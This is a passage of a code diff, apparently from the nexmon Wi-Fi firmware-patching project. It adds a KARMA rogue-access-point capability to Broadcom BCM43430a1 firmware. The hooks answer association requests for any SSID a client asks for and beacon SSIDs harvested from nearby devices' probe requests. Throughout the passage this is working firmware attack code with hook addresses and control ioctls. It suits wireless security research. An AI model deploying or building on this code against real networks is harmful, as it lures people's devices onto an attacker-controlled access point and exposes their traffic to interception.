DATA) + fk = (fc & FC_KIND_MASK); //Frame Kind (ASSOC; PROBEREQUEST etc.) + + //early out on none PROBE frames + if (fk != FC_PROBE_REQ) + { + wlc_recv_mgmt_ctl(wlc, osh, wrxh, p); + return; + } + + + printf("wl%d ether %x:%x:%x:%x:%x:%x: wlc_recv_mgmt_ctl\n", + wlc->pub->unit, + cur_addr.octet[0], + cur_addr.octet[1], + cur_addr.octet[2], + cur_addr.octet[3], + cur_addr.octet[4], + cur_addr.octet[5] + ); + + + printf("Frame data\n===================\n\n"); + printf("FC:\t%04x\n", fc); + printf("Frame Type:\t%04x\n", ft); + printf("Frame Kind:\t%04x\n", fk); + printf(" da:\t\t"); print_mac(hdr->da); printf("\n"); + printf(" sa:\t\t"); print_mac(hdr->sa); printf("\n"); + printf(" bssid:\t"); print_mac(hdr->bssid); printf("\n"); + + switch(fk) + { + case FC_PROBE_REQ: + printf("Frame is PROBE REQUEST\n"); + bcm_ether_ntoa(&hdr->sa, eabuf); //Test Firmware String conversion of MAC-Address + printf("SA %s\n", eabuf); + break; + } + + + // call legacy method + wlc_recv_mgmt_ctl(wlc, osh, wrxh, p); +} + +void wlc_ap_process_assocreq_hook(void *ap, wlc_bsscfg_t *bsscfg, struct dot11_management_header *hdr, uint8 *body, uint body_len, struct scb *scb, bool short_preamble) +{ + int ie_offset = 4; + + bcm_tlv_t *ssid; + uint8 *SSID_ASC[32]; //ssid of received probe request + uint8 *SSID_BSS[32]; //ssid of bsscfg used + uint8 SSID_ASC_LEN, SSID_BSS_LEN; + + + ssid_list_t* ssid_list_entry; + + //early out if KARMA association responding disabled + if (!g_mame82_conf->karma_assocs) + { + wlc_ap_process_assocreq(ap, bsscfg, hdr, body, body_len, scb, short_preamble); + return; + } + + print_dbg("wlc_ap_process_assocreq_hook called\n---------------------\n"); + + + if ((ssid = bcm_parse_tlvs(body + ie_offset, body_len - ie_offset, DOT11_MNG_SSID_ID)) != NULL) + { + //Copy SSID of ASSOC + memset(SSID_ASC, 0, 32); + memcpy(SSID_ASC, ssid->data, ssid->len); + SSID_ASC_LEN = (*ssid).len; + + //Copy SSID of BSSCFG SSID + memcpy(SSID_BSS, bsscfg->SSID, 32); + SSID_BSS_LEN = (*bsscfg).SSID_len; + + print_dbg("ASSOC REQ for SSID '%s' (%d), AP has SSID '%s' (%d)\n", SSID_ASC, SSID_ASC_LEN, SSID_BSS, SSID_BSS_LEN); + + //Exchange SSID of BSS with the one from ASSOC before handling the frame + memcpy(bsscfg->SSID, SSID_ASC, 32); + bsscfg->SSID_len = SSID_ASC_LEN; + + //generate frame + wlc_ap_process_assocreq(ap, bsscfg, hdr, body, body_len, scb, short_preamble); + + //in case the SSID is listed for beaconing, inc the assoc_req count + ssid_list_entry = get_ssid_entry(g_mame82_conf->ssids_custom, (char*) SSID_ASC, SSID_ASC_LEN); + if (ssid_list_entry) ssid_list_entry->assoc_req++; + ssid_list_entry = get_ssid_entry(g_mame82_conf->ssids_karma, (char*) SSID_ASC, SSID_ASC_LEN); + if (ssid_list_entry) ssid_list_entry->assoc_req++; + + //Restore SSID of bsscfg + memcpy(bsscfg->SSID, SSID_BSS, 32); + bsscfg->SSID_len = SSID_BSS_LEN; + } + else + { + printf("SSID couldn't be extracted from ASSOC REQ\n"); + print_mem(body, 30); + + //The legacy method is already overwritten by a flaspatch (53) + wlc_ap_process_assocreq(ap, bsscfg, hdr, body, body_len, scb, short_preamble); + } + +} + + +void hook_wlc_bss_up_from_wlc_bsscfg_up(wlc_ap_info_t *ap, wlc_bsscfg_t *bsscfg) +{ + struct wlc_info *wlc; + + uint8 *pkt_data = NULL; + int pkt_len = 0; + uint16 *template = NULL; + uint8 skip_ssid_len = 0; + + printf("Called hook for 'wlc_bss_up' from 'wlc_bsscfg_up'\n"); + + wlc_bss_up(ap, bsscfg); + + /* + * Everything beyond this point is meant to allow KARMA beaconing + multiple SSID beaconing + * which couldn't be disable right now. + * - the code creates a template for a beacon frame according to the APs bsscfg (fixed parameters + tagged params like supported rates + * only the IE of the SSID isn't stored) + * - a timer is added to beacon every 100ms (loops through list of ssids and dynamically creates sk_buff from the template + ssid entry of the list and sends it) + * - SSIDs for beaconing are stored in the list 'g_mame82_conf->ssids_karma' + * - autostart.c adds 3 static SSIDs to the list ("tEst0", "tEst1" and "tEst2") + * - the rest of the list is filled with SSIDs from received probe requests (KARMA LOUD) + * - the list is limited to 40 entries right now (see send_beacons for details on performance) + * + * Stopping the AP, doesn't remove the timer right now. + * Stop / Restart of AP doesn't free used ressources, right now + * + * There's no thread synchronization on the list 'g_mame82_conf->ssids_karma', which could be a problem + * because it is likely that the code adding list entries and the code of the timer (iterates over the list) + * don't use the same thread context. The variables in use are global. + * + * SSIDs aren't deleted from the list once added. This could be done by some logic, which deletes SSIDs + * without associating STAs after a timeout of some seconds. + * + * An ioctl to add static SSIDs needs to be added + * + * KARMA should be extended to accept connections for different BSSIDs, thus beacons with multiple SA/BSSID + * could be generated. It seems up to 0x20 bsscfg could be handled by the firmware, while only a few are in use. + */ + + + +// printf("after wlc_bss_up\n"); +// print_bsscfg(bsscfg); + + //assure the BSSCFG is for a AP and UP + if (!BSSCFG_AP_ENABLED(bsscfg)) return; + + //store the cfg globally + if (g_AP_bsscfg) + { + printf("There's already an AP bsscfg, so this is a reconfiguratio / restart of the AP\n"); + + //ToDo: Free old bsscfg dependent resources + // - global sk_buffs + template buffers + // - check if timer is already initialized and only has to be added again !! The timer has to be deleleted on bss_down !! + } + else + { + + //Create a beacon frame for the BSSCFG + g_AP_bsscfg = bsscfg; + wlc = bsscfg->wlc; + + + pkt_len = wlc->pub->bcn_tmpl_len; + template = (uint16 *) malloc(pkt_len, 2); + pkt_data = (uint8 *) template; + + ratespec_t rspec = wlc_lowest_basic_rspec(wlc, &g_AP_bsscfg->current_bss->rateset); + wlc_bcn_prb_template(wlc, FC_BEACON, rspec, g_AP_bsscfg, template, &pkt_len); + pkt_data = (uint8 *) template; + //Drop PHY header + pkt_data += D11_PHY_HDR_LEN; + pkt_len -= D11_PHY_HDR_LEN; + //Drop 802.11 MGMT HEADER (should end with same buffer like body data of method1, but without having a sk_buff generated) + pkt_data += DOT11_MGMT_HDR_LEN; + pkt_len -= DOT11_MGMT_HDR_LEN; + + //store head part of beacon payload (up till first IE, which should be the SSID) + g_beacon_template_head = (void*) pkt_data; + pkt_data += sizeof(beacon_fixed_params_t); + pkt_len -= sizeof(beacon_fixed_params_t); + + //skip SSID + if (*pkt_data != 0) //Check type field (0: SSID) + { + printf("First IE isn't SSID, aborting ... \n"); + //ToDo: free template buffer + } + pkt_data += 1; //Skip type field + pkt_len -= 1; + skip_ssid_len = *pkt_data + 1; //The byte for the SSID IE length field is added to skip size + pkt_data += skip_ssid_len; + pkt_len -= skip_ssid_len; + + //store tail + remaining length + g_beacon_template_tail = pkt_data; + g_beacon_template_tail_len = pkt_len; + + /** Prepare beaconing timer **/ + if (!g_bcn_tmr) + { + g_bcn_tmr = hndrte_init_timer(0, wlc, bcn_tmr_hndl, 0); + hndrte_add_timer(g_bcn_tmr, 100, 1); + + //Note: we could remove the timer, when the AP is "downed" and add it again on up, + // but we keep it running always. This is because the timer isn't only used to send beacons for + // spotted probe requests (KARMA LOUD), we additionally use it for sending user defined SSIDs. + } + + } +} + +struct ether_addr broadcast_mac = { .octet = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF } }; + +void send_beacons(struct wlc_info *wlc, wlc_bsscfg_t *bsscfg, beacon_fixed_params_t *beacon_template_head, uint8 *beacon_template_tail, uint beacon_template_tail_len, ssid_list_t *ssids) +{ + /* + * sk_buff has to be recreated per send (seems it gets freed after sending) + * + * This could maybe be avoided by using nexmon's sendframe (no queue involved) and reusing the sk_buff + * (replace the payload and resend) + */ + + /* + * Notes on performance tests: + * - This codes manages to send one beacon about every 2ms (including sk_buff creation and debug out) + * - The time manages to restart the code in less than 100ms, when a station is connected and communicating + * - SSIDs to beacon for should be hard limited to a count <50 (this should be fine, as the implementytion of this firmware only manages 0x20 bsscfg's + * this is likely true for others) + * - currently every beacon is send with the same BSSID/SA, so depending on the target STA this could look like a fast name change of SSID while the AP + * stays the same - on the other hand, this allows association with this BSSID for (independent of the spotted beacon/probe_resp = KARMA) + */ + + bcm_tlv_t *inject_ssid; + + + + sk_buff* beacon; + uint8* beacon_body; //points to data part of sk_buff where BEACON body starts + void *buf_pos; //points to current pos in data part of sk_buff + + char *cur_ssid; + uint8 cur_ssid_len; + ssid_list_t *current = ssids; +// int i = 0; + + if (!bsscfg) return; //early out (it should be an AP_bsscfg) + if (!ssids) return; //early out + + + while (current->next != NULL) + { + current = current->next; + cur_ssid_len = current->len_ssid; + cur_ssid = current->ssid; + +// printf("Beaconing for SSID '%s' at idx %d\n", cur_ssid, i); +// i++; + + beacon = wlc_frame_get_mgmt(wlc, FC_BEACON, &broadcast_mac, &wlc->pub->cur_etheraddr, &wlc->pub->cur_etheraddr, wlc->pub->bcn_tmpl_len, &beacon_body); + + buf_pos = skb_pull(beacon, DOT11_MGMT_HDR_LEN); + memcpy(beacon_body, beacon_template_head, sizeof(beacon_fixed_params_t)); + buf_pos += sizeof(beacon_fixed_params_t); + + //we should point to IE for SSID now, cast it to a tlv + inject_ssid = (bcm_tlv_t *) buf_pos; + inject_ssid->id = 0; + inject_ssid->len = cur_ssid_len; + memcpy(&inject_ssid->data, cur_ssid, cur_ssid_len); + buf_pos += cur_ssid_len + 2; + + //append beacon tail + memcpy(buf_pos, beacon_template_tail, beacon_template_tail_len); + + //adjust length (DOT11 mgmt headers not included, as sk_buf->data is pointing at payload, not at 80211 HDR + beacon->len = sizeof(beacon_fixed_params_t) + cur_ssid_len + 2 + beacon_template_tail_len; + + //adjust sk_buff to include 80211 MGMT Hdrs + skb_push(beacon, DOT11_MGMT_HDR_LEN); + +/* + //debug out + printf("Beacon len %d\n", beacon->len); + print_mem(beacon->data, 60); +*/ + +// wlc_sendmgmt(wlc, beacon, wlc->wlcif_list->qi, NULL); //sends the packet but crashes after too many sk_buff allocs (doesn't free ??) + sendframe(wlc, beacon, 1, 0); //sends the packets without crashing for new sk_buff allocs by wlc_frame_get_mgmt + + +// PKTFREE(wlc->osh, beacon, 1); //free sk_buff of beacon, but send it first + + //increase counter for beacon tx (we don't care about uint overflow) + current->bcn_snd++; + + if (!(current->bcn_snd % 100)) printf("Beacon tx count for '%s' is %d, assoc_req count is %d\n", inject_ssid->data, current->bcn_snd, current->assoc_req); + } + +} + + +__attribute__((at(0x0084822a, "flashpatch", CHIP_VER_BCM43430a1, FW_VER_7_45_41_46))) +BLPatch(hook_wlc_bss_up_from_wlc_bsscfg_up, hook_wlc_bss_up_from_wlc_bsscfg_up); + + +__attribute__((at(0x012da2, "", CHIP_VER_BCM43430a1, FW_VER_7_45_41_46))) +BPatch(wlc_recv_mgmt_ctl_hook, wlc_recv_mgmt_ctl_hook); + + +__attribute__((at(0x00820b9a, "flashpatch", CHIP_VER_BCM43430a1, FW_VER_7_45_41_46))) +BLPatch(wlc_recv_process_prbreq_hook, wlc_recv_process_prbreq_hook); + + +//hook the call to wlc_ap_process_assocreq in wlc_recv_mgmt_ctl (0x00820f2e bl wlc_ap_process_assocreq) +__attribute__((at(0x00820f2e, "flashpatch", CHIP_VER_BCM43430a1, FW_VER_7_45_41_46))) +BLPatch(wlc_ap_process_assocreq_hook, wlc_ap_process_assocreq_hook); diff --git a/patches/bcm43430a1/7_45_41_46/nexmon/src/karma.h b/patches/bcm43430a1/7_45_41_46/nexmon/src/karma.h new file mode 100644 index 000000000..8e221c35f --- /dev/null +++ b/patches/bcm43430a1/7_45_41_46/nexmon/src/karma.h @@ -0,0 +1,253 @@ +#define NULL ((void *)0) +#define FALSE 0 +#define MIN(a,b) ((a) < (b) ? (a) : (b)) +#define MAX(a,b) ((a) > (b) ? (a) : (b)) + +/* +#define MAME82_KARMA_PROBE_RESP (1 << 0) +#define MAME82_KARMA_ASSOC_RESP (1 << 1) +#define MAME82_KARMA_DEBUG (1 << 2) +#define MAME82_KARMA_BEACONING (1 << 3) +#define MAME82_ENABLE_OPTION(var, opt) ({ uint32 _opt = (opt); (var) |= _opt; }) +#define MAME82_DISABLE_OPTION(var, opt) ({ uint32 _opt = (opt); (var) &= ~_opt; }) +#define MAME82_IS_ENABLED_OPTION(var, opt) ({ uint32 _opt = (opt); (var) & _opt; }) +*/ + +#define DOT11_MGMT_HDR_LEN 24 /* d11 management header length */ +#define D11_PHY_HDR_LEN 6 +#define OSL_PKTTAG_SZ 32 + +#define PKTDATA(osh, skb) (((struct sk_buff*)(skb))->data) + +#define ETHER_ADDR_STR_LEN 18 + +/* 802.11 Frame Header Defs */ + +#define FC_TYPE_MASK 0xC +#define FC_SUBTYPE_MASK 0xF0 +#define FC_TYPE_SHIFT 2 +#define FC_SUBTYPE_SHIFT 4 +#define FC_TYPE(fc) (((fc) & FC_TYPE_MASK) >> FC_TYPE_SHIFT) +#define FC_KIND_MASK (FC_TYPE_MASK | FC_SUBTYPE_MASK) + + +#define FC_TYPE_MNG 0 +#define FC_TYPE_CTL 1 +#define FC_TYPE_DATA 2 + +#define FC_SUBTYPE_ASSOC_RESP 1 /* assoc. response */ +#define FC_SUBTYPE_REASSOC_REQ 2 /* reassoc. request */ +#define FC_SUBTYPE_REASSOC_RESP 3 /* reassoc. response */ +#define FC_SUBTYPE_PROBE_REQ 4 /* probe request */ +#define FC_SUBTYPE_PROBE_RESP 5 /* probe response */ +#define FC_SUBTYPE_BEACON 8 /* beacon */ +#define FC_SUBTYPE_ATIM 9 /* ATIM */ +#define FC_SUBTYPE_DISASSOC 10 /* disassoc. */ +#define FC_SUBTYPE_AUTH 11 /* authentication */ +#define FC_SUBTYPE_DEAUTH 12 /* de-authentication */ +#define FC_SUBTYPE_ACTION 13 /* action */ +#define FC_SUBTYPE_ACTION_NOACK 14 /* action no-ack */ + +#define FC_KIND(t, s) (((t) << FC_TYPE_SHIFT) | ((s) << FC_SUBTYPE_SHIFT)) +#define FC_ASSOC_RESP FC_KIND(FC_TYPE_MNG, FC_SUBTYPE_ASSOC_RESP) /* assoc. response */ +#define FC_REASSOC_REQ FC_KIND(FC_TYPE_MNG, FC_SUBTYPE_REASSOC_REQ) /* reassoc. request */ +#define FC_REASSOC_RESP FC_KIND(FC_TYPE_MNG, FC_SUBTYPE_REASSOC_RESP) /* reassoc. response */ +#define FC_PROBE_REQ FC_KIND(FC_TYPE_MNG, FC_SUBTYPE_PROBE_REQ) /* probe request */ +#define FC_PROBE_RESP FC_KIND(FC_TYPE_MNG, FC_SUBTYPE_PROBE_RESP) /* probe response */ +#define FC_BEACON FC_KIND(FC_TYPE_MNG, FC_SUBTYPE_BEACON) /* beacon */ +#define FC_ATIM FC_KIND(FC_TYPE_MNG, FC_SUBTYPE_ATIM) /* ATIM */ +#define FC_DISASSOC FC_KIND(FC_TYPE_MNG, FC_SUBTYPE_DISASSOC) /* disassoc */ +#define FC_AUTH FC_KIND(FC_TYPE_MNG, FC_SUBTYPE_AUTH) /* authentication */ +#define FC_DEAUTH FC_KIND(FC_TYPE_MNG, FC_SUBTYPE_DEAUTH) /* deauthentication */ +#define FC_ACTION FC_KIND(FC_TYPE_MNG, FC_SUBTYPE_ACTION) /* action */ +#define FC_ACTION_NOACK FC_KIND(FC_TYPE_MNG, FC_SUBTYPE_ACTION_NOACK) /* action no-ack */ + +#define DOT11_MNG_SSID_ID 0 + + +/*** Custom structs ***/ +typedef struct ssid_list +{ + struct ssid_list *next; + char ssid[33]; //max len is 32, one additional byte to assure null termination in case we gonna use printf + uint8 len_ssid; + uint assoc_req; // spotted assoc requests for this SSID (only incremented if MAME82_KARMA_ASSOC_RESP enabled) + uint bcn_snd; // count of transmitted beacons for this ssid +} ssid_list_t; + +#define MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_PROBE 1 //answer every spotted probe request with a corresponding probe response (matching SSID) +#define MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_ASSOC 2 //answer every spotted association request with a corresponding association response (matching SSID) +#define MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA 3 //enable KARMA PROBE and ASSOC +#define MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_BEACON 4 //Start BEACONING for spotted probe requests (if one STA probes for an SSID, other STAs see the same AP) + +//uint32 defining how many beacons are sent for an SSID spotted in a probe request (KARMA_BEACON) without receiving an association request, before beaconing is stopped +//a value of 0 means beacons are sent forever +#define MAME82_IOCTL_ARG_TYPE_SET_KARMA_BEACON_AUTO_REMOVE_COUNT 5 +//uint32 defining how many beacons are sent for a custom SSID without receiving an association request, before beaconing is stopped +//a value of 0 means beacons are sent forever +#define MAME82_IOCTL_ARG_TYPE_SET_CUSTOM_BEACON_AUTO_REMOVE_COUNT 6 + +#define MAME82_IOCTL_ARG_TYPE_ADD_CUSTOM_SSID 7 //Add a custom SSID for which beacons should be send +#define MAME82_IOCTL_ARG_TYPE_DEL_CUSTOM_SSID 8 //Delete the given custom SSID (stop sending beacons), the default SSID used by hostapd always remains +#define MAME82_IOCTL_ARG_TYPE_CLEAR_CUSTOM_SSIDS 9 //Delete all custom SSID (stop sending beacons), the default SSID used by hostapd always remains +#define MAME82_IOCTL_ARG_TYPE_CLEAR_KARMA_SSIDS 10 //Delete all SSIDs added for spotted probe requests (stop sending beacons for them), the default SSID used by hostapd always remains +#define MAME82_IOCTL_ARG_TYPE_SET_ENABLE_CUSTOM_BEACONS 11 //allow sending user specified beacons (not from probes) + + +#define MAME82_IOCTL_ARG_TYPE_GET_CONFIG 100 //dump the config struct +#define MAME82_IOCTL_ARG_TYPE_GET_MEM 101 //dump the config struct + + +typedef struct mame82_config +{ + bool karma_probes; + bool karma_assocs; + bool karma_beacons; + bool custom_beacons; + bool debug_out; + ssid_list_t *ssids_custom; + ssid_list_t *ssids_karma; + uint32 karma_beacon_autoremove; + uint32 custom_beacon_autoremove; + uint8 max_karma_beacon_ssids; + uint8 max_custom_beacon_ssids; +} mame82_config_t; + + +typedef struct mame82_ioctl_arg +{ + uint32 type; + uint32 len; + uint8 val[1]; +} mame82_ioctl_arg_t; + +void clear_ssids(ssid_list_t *head); +ssid_list_t* append_ssid(ssid_list_t *head, char* ssid, uint8 ssid_len, uint8 upper_bound); +ssid_list_t* get_ssid_entry(ssid_list_t *head, char* ssid, uint8 ssid_len); +int validate_ssid(ssid_list_t *head, char* ssid, uint8 ssid_len); +void remove_entries_without_assoc_after_beacons(ssid_list_t *head, uint beacon_limit); +void remove_entries_with_ssid(ssid_list_t *head, char* ssid, uint8 ssid_len); +void sscfg_iter_test(struct wlc_info *wlc); +/*** End custom structs ***/ + +typedef uint8 uchar; + +/** Management frame header */ +struct dot11_management_header { + uint16 fc; /* frame control */ + uint16 durid; /* duration/ID */ + struct ether_addr da; /* receiver address */ + struct ether_addr sa; /* transmitter address */ + struct ether_addr bssid; /* BSS ID */ + uint16 seq; /* sequence control */ +}; + + +/** D11 structs/types **/ +#define WL_RSSI_ANT_MAX 4 //Max possible RX antennas + +typedef struct d11rxhdr { + uint16 RxFrameSize; /* Actual byte length of the frame data received */ + + uint8 dma_flags; /* bit 0 indicates short or long rx status. 1 == short. */ + uint8 fifo; /* rx fifo number */ + + uint16 PhyRxStatus_0; /* PhyRxStatus 15:0 */ + uint16 PhyRxStatus_1; /* PhyRxStatus 31:16 */ + uint16 PhyRxStatus_2; /* PhyRxStatus 47:32 */ + uint16 PhyRxStatus_3; /* PhyRxStatus 63:48 */ + uint16 PhyRxStatus_4; /* PhyRxStatus 79:64 */ + uint16 PhyRxStatus_5; /* PhyRxStatus 95:80 */ + uint16 RxStatus1; /* MAC Rx Status */ + uint16 RxStatus2; /* extended MAC Rx status */ + uint16 RxTSFTime; /* RxTSFTime time of first MAC symbol + M_PHY_PLCPRX_DLY */ + uint16 RxChan; /* Rx channel info or chanspec */ + uint16 RxFameSize_0; /* size of rx-frame in fifo-0 in case frame is copied to fifo-1 */ + uint16 HdrConvSt; /* hdr conversion status. Copy of ihr(RCV_HDR_CTLSTS). */ + uint16 AvbRxTimeL; /* AVB RX timestamp low16 */ + uint16 AvbRxTimeH; /* AVB RX timestamp high16 */ + uint16 MuRate; /* MU rate info (bit3:0 MCS, bit6:4 NSTS) */ + uint16 Pad; /* Reserved to make 4-bytes align. */ +} d11rxhdr_t; + +typedef struct wlc_d11rxhdr wlc_d11rxhdr_t; +struct wlc_d11rxhdr { + /* Even though rxhdr can be in short or long format, always declare it here + * to be in long format. So the offsets for the other fields are always the same. + */ + d11rxhdr_t rxhdr; + uint32 tsf_l; /* TSF_L reading */ + int8 rssi; /* computed instantaneous rssi in BMAC */ + int8 rssi_qdb; /* qdB portion of the computed rssi */ + int8 do_rssi_ma; /* do per-pkt sampling for per-antenna ma in HIGH */ + int8 rxpwr[WL_RSSI_ANT_MAX]; /* rssi for supported antennas */ +}; + +/** Probe Response related structs/types **/ +/* +#define WLC_PROBRESP_MAXFILTERS 3 + + +typedef bool (*probreq_filter_fn_t)(void *handle, wlc_bsscfg_t *cfg, wlc_d11rxhdr_t *wrxh, uint8 *plcp, struct dot11_management_header *hdr, uint8 *body, int body_len, bool *psendProbeResp); + +typedef struct probreqcb { + void *hdl; + probreq_filter_fn_t filter_fn; +} probreqcb_t; + +typedef struct wlc_probresp_info { + wlc_info_t *wlc; + probreqcb_t probreq_filters[WLC_PROBRESP_MAXFILTERS]; + int p2p_index; +} wlc_probresp_info_t; +*/ + +typedef struct bcm_tlv { + uint8 id; + uint8 len; + uint8 data[1]; +} bcm_tlv_t; +typedef struct dot11_management_header dot11_management_header_t; + +/* Endianess Conversion */ +#define SWAP16(val) ((uint16)((((uint16)(val) & (uint16)0x00ffU) << 8) | (((uint16)(val) & (uint16)0xff00U) >> 8))) +#define SWAP32(val) ((uint32)((((uint32)(val) & (uint32)0x000000ffU) << 24) | (((uint32)(val) & (uint32)0x0000ff00U) << 8) | (((uint32)(val) & (uint32)0x00ff0000U) >> 8) | (((uint32)(val) & (uint32)0xff000000U) >> 24))) +#define swap16(val) ({ uint16 _val = (val); SWAP16(_val); }) +#define swap32(val) ({ uint32 _val = (val); SWAP32(_val); }) + +/* +#define LTOH16(i) swap16(i) +#define ltoh16(i) swap16(i) +#define LTOH32(i) swap32(i) +#define ltoh32(i) swap32(i) +#define HTOL16(i) swap16(i) +#define htol16(i) swap16(i) +#define HTOL32(i) swap32(i) +#define htol32(i) swap32(i) +*/ + +#define LTOH16(i) (i) +#define ltoh16(i) (i) +#define LTOH32(i) (i) +#define ltoh32(i) (i) +#define HTOL16(i) (i) +#define htol16(i) (i) +#define HTOL32(i) (i) +#define htol32(i) (i) + +/** bsscfg related **/ +#define WLC_MAXBSSCFG 0x20 +//#define BSS_MATCH_WLC(_wlc, cfg) TRUE +#define BSS_MATCH_WLC(_wlc, cfg) ((_wlc) == ((cfg)->wlc)) +#define FOREACH_BSS(wlc, idx, cfg) for (idx = 0; (int) idx < WLC_MAXBSSCFG; idx++) if (((cfg = (wlc)->bsscfg[idx]) != NULL) && BSS_MATCH_WLC((wlc), cfg)) + +//Note on BSSCFG_AP_ENABLED: as the brcmfmac drive is patched to bring up the monitor interface as AP interface, we have two of them +// in case the monitor interface is up, but only the real AP interface has set its bsscfg to enable +#define BSSCFG_AP_ENABLED(cfg) (((cfg)->_ap) && ((cfg)->enable)) + +typedef struct beacon_fixed_params +{ + uint32 timestamp[2]; + uint16 beacon_interval; + uint16 caps; +} beacon_fixed_params_t; diff --git a/patches/bcm43430a1/7_45_41_46/nexmon/src/patch.c b/patches/bcm43430a1/7_45_41_46/nexmon/src/patch.c index a9a894862..b59fa8864 100644 --- a/patches/bcm43430a1/7_45_41_46/nexmon/src/patch.c +++ b/patches/bcm43430a1/7_45_41_46/nexmon/src/patch.c @@ -41,7 +41,7 @@ #include #include // capabilities included in a nexmon patch -int capabilities = NEX_CAP_MONITOR_MODE | NEX_CAP_MONITOR_MODE_RADIOTAP | NEX_CAP_FRAME_INJECTION; +int capabilities = NEX_CAP_MONITOR_MODE | NEX_CAP_MONITOR_MODE_RADIOTAP | NEX_CAP_FRAME_INJECTION | NEX_CAP_MAME82_KARMA; // Hook the call to wlc_ucode_write in wlc_ucode_download __attribute__((at(WLC_UCODE_WRITE_BL_HOOK_ADDR, "", CHIP_VER_BCM43430a1, FW_VER_7_45_41_46))) diff --git a/patches/common/wrapper.c b/patches/common/wrapper.c index 734731dd9..1cdac361b 100644 --- a/patches/common/wrapper.c +++ b/patches/common/wrapper.c @@ -380,6 +380,7 @@ sprintf(char *buf, const char *format, ...) RETURN_DUMMY AT(CHIP_VER_BCM4339, FW_VER_ALL, 0x12824) +AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x803c7c) int strlen(char *str) RETURN_DUMMY @@ -1632,6 +1633,101 @@ uint8 wlc_phy_set_txpwr_clamp_acphy(void *pi) RETURN_DUMMY +//static void wlc_recv_mgmt_ctl(wlc_info_t *wlc, osl_t *osh, wlc_d11rxhdr_t *wrxh, void *p); +AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x008204ec) +void wlc_recv_mgmt_ctl(void *wlc, void *osh, void *wrxh, void *p) +VOID_DUMMY + +//char *bcm_ether_ntoa(const struct ether_addr *ea, char *buf) +AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x008040ec) +char* bcm_ether_ntoa(const struct ether_addr *ea, char *buf) +RETURN_DUMMY + +//bcm_tlv_t *bcm_parse_tlvs(void *buf, int buflen, uint key); +//0x00804318 +AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x00804318) +void* bcm_parse_tlvs(void *buf, int buflen, uint key) +RETURN_DUMMY + +//0x00881350 +//wlc_bsscfg_t *wlc_bsscfg_find_by_hwaddr(wlc_info_t *wlc, struct ether_addr *hwaddr) +AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x00881350) +wlc_bsscfg_t *wlc_bsscfg_find_by_hwaddr(wlc_info_t *wlc, struct ether_addr *hwaddr) +RETURN_DUMMY + +//0x00881360 +//wlc_bsscfg_t *wlc_bsscfg_find_by_bssid(wlc_info_t *wlc, const struct ether_addr *bssid) +AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x00881360) +wlc_bsscfg_t *wlc_bsscfg_find_by_bssid(wlc_info_t *wlc, const struct ether_addr *bssid) +RETURN_DUMMY + +//0x00829f70 +//void* wlc_frame_get_mgmt(wlc_info_t *wlc, uint16 fc, const struct ether_addr *da, const struct ether_addr *sa, const struct ether_addr *bssid, uint body_len, uint8 **pbody) +AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x00829f70) +void* wlc_frame_get_mgmt(wlc_info_t *wlc, uint16 fc, const struct ether_addr *da, const struct ether_addr *sa, const struct ether_addr *bssid, uint body_len, uint8 **pbody) +RETURN_DUMMY + +//0x008245e4 +//void wlc_bcn_prb_body(wlc_info_t *wlc, uint type, wlc_bsscfg_t *bsscfg, uint8 *bcn, int *len, bool legacy_tpl) +AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x008245e4) +void wlc_bcn_prb_body(wlc_info_t *wlc, uint type, wlc_bsscfg_t *bsscfg, uint8 *bcn, int *len, bool legacy_tpl) +VOID_DUMMY + +//0x0082dff0 +//bool wlc_sendmgmt(wlc_info_t *wlc, void *p, wlc_txq_info_t *qi, struct scb *scb) +AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x0082dff0) +bool wlc_sendmgmt(wlc_info_t *wlc, void *p, void *qi, struct scb *scb) +RETURN_DUMMY + +/* +//0x00839398 +//void wlc_ap_process_assocreq(wlc_ap_info_t *ap, wlc_bsscfg_t *bsscfg, struct dot11_management_header *hdr, uint8 *body, uint body_len, struct scb *scb, bool short_preamble) +AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x00839398) +void wlc_ap_process_assocreq(void *ap, wlc_bsscfg_t *bsscfg, void *hdr, uint8 *body, uint body_len, struct scb *scb, bool short_preamble) +VOID_DUMMY +*/ + +//legacy address 0x00839398 overwritten by flashpatch 53 with "b.w loc._ABS_0x18994" +//void wlc_ap_process_assocreq(wlc_ap_info_t *ap, wlc_bsscfg_t *bsscfg, struct dot11_management_header *hdr, uint8 *body, uint body_len, struct scb *scb, bool short_preamble) +AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x18994) +void wlc_ap_process_assocreq(void *ap, wlc_bsscfg_t *bsscfg, void *hdr, uint8 *body, uint body_len, struct scb *scb, bool short_preamble) +VOID_DUMMY + +//no hook call so far, as called by driver +AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x819aec) +int wl_open(hnd_dev_t *dev) +RETURN_DUMMY + +AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x848154) +int wlc_bsscfg_up(wlc_info_t *wlc, wlc_bsscfg_t *cfg) +RETURN_DUMMY + +AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x839CC4) +void wlc_bss_up(wlc_ap_info_t *ap, wlc_bsscfg_t *bsscfg) +VOID_DUMMY + + +//0x0082b1d4 wlc_lowest_basic_rspec +AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x82b1d4) +ratespec_t wlc_lowest_basic_rspec(wlc_info_t *wlc, wlc_rateset_t *rs) +RETURN_DUMMY + +//0x00824820 wlc_bcn_prb_template +AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x824820) +void wlc_bcn_prb_template(wlc_info_t *wlc, uint type, ratespec_t bcn_rate, wlc_bsscfg_t *cfg, uint16 *buf, int *len) +VOID_DUMMY +//--> example usage 